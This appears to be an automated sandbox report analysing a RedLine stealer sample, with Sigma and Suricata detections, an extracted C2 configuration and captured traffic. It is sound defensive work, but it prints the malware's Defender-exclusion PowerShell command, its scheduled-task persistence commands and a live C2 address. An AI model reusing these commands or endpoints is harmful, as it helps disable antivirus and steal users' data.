Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\I5pvP0CU6M.exe", ParentImage: C:\Users\user\Desktop\I5pvP0CU6M.exe, ParentProcessId: 2432, ParentProcessName: I5pvP0CU6M.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe", ProcessId: 4788, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp7075.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp7075.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\VcihjWRO.exe, ParentImage: C:\Users\user\AppData\Roaming\VcihjWRO.exe, ParentProcessId: 7224, ParentProcessName: VcihjWRO.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp7075.tmp", ProcessId: 7472, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\I5pvP0CU6M.exe", ParentImage: C:\Users\user\Desktop\I5pvP0CU6M.exe, ParentProcessId: 2432, ParentProcessName: I5pvP0CU6M.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp", ProcessId: 5720, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\I5pvP0CU6M.exe", ParentImage: C:\Users\user\Desktop\I5pvP0CU6M.exe, ParentProcessId: 2432, ParentProcessName: I5pvP0CU6M.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe", ProcessId: 4788, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\I5pvP0CU6M.exe", ParentImage: C:\Users\user\Desktop\I5pvP0CU6M.exe, ParentProcessId: 2432, ParentProcessName: I5pvP0CU6M.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp", ProcessId: 5720, ProcessName: schtasks.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T04:32:12.999384+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49763	TCP
2024-11-04T04:32:50.939185+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49984	TCP

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T04:32:09.774888+0100	2045000	1	Malware Command and Control Activity Detected	45.137.22.248	55615	192.168.2.6	49718	TCP
2024-11-04T04:32:20.283399+0100	2045000	1	Malware Command and Control Activity Detected	45.137.22.248	55615	192.168.2.6	49784	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T04:32:13.527487+0100	2045001	1	Malware Command and Control Activity Detected	45.137.22.248	55615	192.168.2.6	49718	TCP
2024-11-04T04:32:23.737177+0100	2045001	1	Malware Command and Control Activity Detected	45.137.22.248	55615	192.168.2.6	49784	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T04:32:04.724301+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.6	49718	45.137.22.248	55615	TCP
2024-11-04T04:32:15.174201+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.6	49784	45.137.22.248	55615	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T04:32:10.039181+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.6	49718	45.137.22.248	55615	TCP
2024-11-04T04:32:20.816931+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.6	49784	45.137.22.248	55615	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T04:32:13.584322+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.6	49777	45.137.22.248	55615	TCP
2024-11-04T04:32:24.140389+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.6	49837	45.137.22.248	55615	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: I5pvP0CU6M.exe

Avira: detected

Found malware configuration

Source: 11.2.VcihjWRO.exe.4445bf8.1.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["45.137.22.248:55615"], "Bot Id": "cheat"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe

ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: I5pvP0CU6M.exe	ReversingLabs: Detection: 68%
Source: I5pvP0CU6M.exe	Virustotal: Detection: 65%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: I5pvP0CU6M.exe

Joe Sandbox ML: detected

Source: I5pvP0CU6M.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: I5pvP0CU6M.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe

Code function: 4x nop then jmp 070277EFh

11_2_07026E1F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.6:49718 -> 45.137.22.248:55615
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 45.137.22.248:55615 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.6:49718 -> 45.137.22.248:55615
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 45.137.22.248:55615 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.6:49784 -> 45.137.22.248:55615
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.6:49777 -> 45.137.22.248:55615
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 45.137.22.248:55615 -> 192.168.2.6:49784
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.6:49784 -> 45.137.22.248:55615
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 45.137.22.248:55615 -> 192.168.2.6:49784
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.6:49837 -> 45.137.22.248:55615

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 45.137.22.248:55615

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49837

Source: global traffic

TCP traffic: 192.168.2.6:49718 -> 45.137.22.248:55615

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 45.137.22.248:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 45.137.22.248:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 45.137.22.248:55615Content-Length: 960380Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 45.137.22.248:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 45.137.22.248:55615Content-Length: 960372Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 45.137.22.248:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 45.137.22.248:55615Content-Length: 959930Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 45.137.22.248:55615Content-Length: 959922Expect: 100-continueAccept-Encoding: gzip, deflate

Source: Joe Sandbox View

ASN Name: ROOTLAYERNETNL ROOTLAYERNETNL

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49984
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49763

Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.248

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 45.137.22.248:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002BC0000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.137.22.248:55615
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.137.22.248:55615/
Source: I5pvP0CU6M.exe, VcihjWRO.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: I5pvP0CU6M.exe, VcihjWRO.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: I5pvP0CU6M.exe, VcihjWRO.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: VcihjWRO.exe, 00000011.00000002.2427530855.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: I5pvP0CU6M.exe, 00000000.00000002.2219893866.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 0000000B.00000002.2314956361.0000000002B5A000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: VcihjWRO.exe, 00000011.00000002.2427530855.0000000003350000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002AD0000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: I5pvP0CU6M.exe, VcihjWRO.exe.0.dr	String found in binary or memory: http://tempuri.org/Gamee.xsd7PoisonRoulette.GameResource
Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: I5pvP0CU6M.exe, I5pvP0CU6M.exe, 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, VcihjWRO.exe, 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: I5pvP0CU6M.exe, I5pvP0CU6M.exe, 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, VcihjWRO.exe, 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
